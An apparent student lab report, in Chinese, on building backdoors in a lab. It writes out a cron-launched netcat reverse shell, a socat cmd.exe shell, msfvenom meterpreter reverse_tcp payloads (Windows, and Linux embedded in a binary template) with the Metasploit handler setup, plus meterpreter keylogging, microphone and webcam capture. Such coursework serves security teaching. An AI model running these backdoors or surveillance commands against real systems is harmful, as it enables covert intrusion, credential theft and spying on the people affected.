《网络对抗技术》Exp2 PC平台逆向破解之“MAL_简单后门” Week4

一、实验内容

本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

实验分为五部分：

1、使用netcat获取主机操作Shell，cron启动；
2、使用socat获取主机操作Shell, 任务计划启动；
3、使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell；
4、使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权；
5、可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell。

二、实验步骤

步骤一：使用netcat获取主机操作Shell，cron启动

1、在本机的Windows下载netcat后，双击运行。打开命终端，输入ncat.exe -l -p 5214，对5214号端口进行监听。
2、在kali虚拟机中打开终端，输入crontab -e来添加一条定时任务，其中-e表示编辑。第一次编辑时会提示选择编辑器，选择3。在最后一行加入39 * * * * /bin/netcat 172.20.10.4 5214 -e /bin/sh（ip地址为正在监听的windows 的ip），保存并退出。这样，系统在每个小时的52分钟都会执行该指令。
3、等待系统的39分到达后，可以看到已经连接上了。在Winodws的命令行中输入ls，可以看到linux当前目录下的文件。

步骤二：使用socat获取主机操作Shell, 任务计划启动

1、在Wiondws中搜索任务计划，在弹出的窗口点击创建任务，填写任务名，在任务栏下选择socat.exe的路径，然后在参数栏填写tcp-listen:5214 exec:cmd.exe,pty,stderr后，点击确定。在列表中右键选中刚刚创建的任务，点击运行。
2、在linux的终端输入socket - tcp:192.168.199.235:5214（这里说明一下，我的实验并不是一次性完成了，中间换了一些网络连接，所以IP地址发生了变化）
3、进行调试。由于编码方式不同，所以我们只能在命令行中对英文名字的文件进行操作。进入E盘的XAMMP目录：

步骤三：使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

1、在linux中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=5214 -f exe > meter_backdoor.exe（这里老师给的指导里头有一个地方打错了，就是LPORT打成了'PORT）生成BackdoorOf5214.exe。
2、在linux下输入msfconsole进入控制模式
3、输入use exploit/multi/handler
4、输入set payload windows/meterpreter/reverse_tcp
5、输入windows/meterpreter/reverse_tcp
6、输入show options进行查看
7、输入set LHOST 192.168.110.129
8、输入set LPORT 5214
9、输入show options再次进行查看，可以看到相应的ip地址和端口号已经变成我所设置的。
10、输入exploit
11、把BackdoorOf5214.exe发送主机上（预先关闭防火墙），然后双击打开，成功连接上：
12、输入dir进行查看

步骤四：使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

在第三步的基础上来实现以下功能

1、输入record_mic录音
2、输入keyscan_start开始记录键盘输入，再输入keyscan_dump查看
3、输入webcam_snap拍照
4、输入webcam_stream摄像

步骤五：可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell

刚看到这个题目的时候首先冷静一下，从哪里入手呢？仔细回想，在老师给的实验指导书中，在刚提到meterpreter的时候：

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-p 使用的payload。payload翻译为有效载荷，就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode

也就是说，我们是否可以改编这条命令来实现我们想要的功能呢？试一试。
首先，-p参数是有效载荷。后面跟的是windows。我们的pwn1是只能在linux下运行的，所以这个地方肯定要改；接着再往后看，-x是指定模板。我们要生成跟pwn1功能一样的、但是有后门的代码，所以模板修改为pwn1；再往后，-e问题不大，因为我们确实是要用x86来解决问题，x86后面一串看不懂，先不管，继续往后；-i，-b应该没问题，先不管；ip和端口分别修改成kali的ip和5214；-f是文件类型。linux中可执行文件类型是不能直接看到的，在命令行输入file pwn1，得知类型是elf，所以这个地方也要修改，最后输出的文件形式也要跟着修改。于是我进行第一次修改

1、修改ip地址和端口
2、将windows改成linux，回车确认
3、exe改成elf，最后生成的文件改成pwn2
修改完毕后回车，报错：

发现是类型不对。上网搜一下“msf的载荷类型”，可以知道在-p的后面应当是linux/x86......，修改后再回车，这次没报错。

接下来进行测试。为了方便，我直接kali对kali进行测试。先按步骤三的过程进行监听，然后运行pwn2，发现连接上了，实验成功。

三、遇到的问题

1、在第一个任务中的修改crontab中，提示crontab的规则不正确
解决方法：首先是反复查看输入的代码，没发现错误。于是上网查找，后来发现是数字后面的四个*中间是有空格的。加入空格后解决了问题。
2、前几天还可以上网，今天忽然上不了网。
解决方法：输入ifconfig -a，查看网卡的状态，发现eth0网卡罢工了。进入/etc/network/interfaces，在最后加入auto eth0和iface eth0 inet dchp后重启网络，解决了问题。
3、本次实验我还遇到了一个问题，最让我高兴的也是解决了这个问题：第三步在同一台计算机上虚拟机和本机连接是可以成功的；如果使用两台计算机的话（A是kali，B是另一电脑），在B双击后门程序是连接不上A的。
解决方法：通过仔细观察，我发现本机连接的话，所显示的连接地址是VMnet8的地址，也就是NAT模式的地址。我尝试着在本机上把VMnet8的适配器给关闭了，然后再双击打开后门程序，这时候就无法连上了。这不禁引起了我的思考，我无法在另外一电脑B上连接是不是跟这有关呢？我尝试着把虚拟机的网络连接方法换成“桥接模式”，这时候再用B去连接A，成功了。

四、基础问题问答

1、例举你能想到的一个后门进入到你系统中的可能方式？
答：下载了盗版软件，被植入后门；点击了钓鱼网站，被植入后门。
2、例举你知道的后门如何启动起来(win及linux)的方式？
答：win开机自启动、用户手动开启。linux有实验过程中是利用了crontab来定时向攻击方连接，使用反弹连接的方式。
3、Meterpreter有哪些给你映像深刻的功能？（做完实验之后再回来答的这道题）
答：摄像功能和键盘输入功能。。摄像功能可以知道用户在干什么。键盘输入功能从某种程度上可以窃取用户的信息，很有可能在用户输入账号、密码时被记录下来。
4、如何发现自己有系统有没有被安装后门？
答：安装杀毒软件，对电脑进行查杀。

五、心得体会

本次实验更加贴近了我们的生活，不禁感到惶恐。。说不定以前我的电脑已经被入侵过无数回了，只是自己一直不知道而已。而这些内容在世界上知道的人也是少数。看来信息安全确实很重要。。掌握了攻击的方法无异于掌握了一个强大的武器，厉害的话可以来去无踪，俨然网络神偷。

20165214 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week4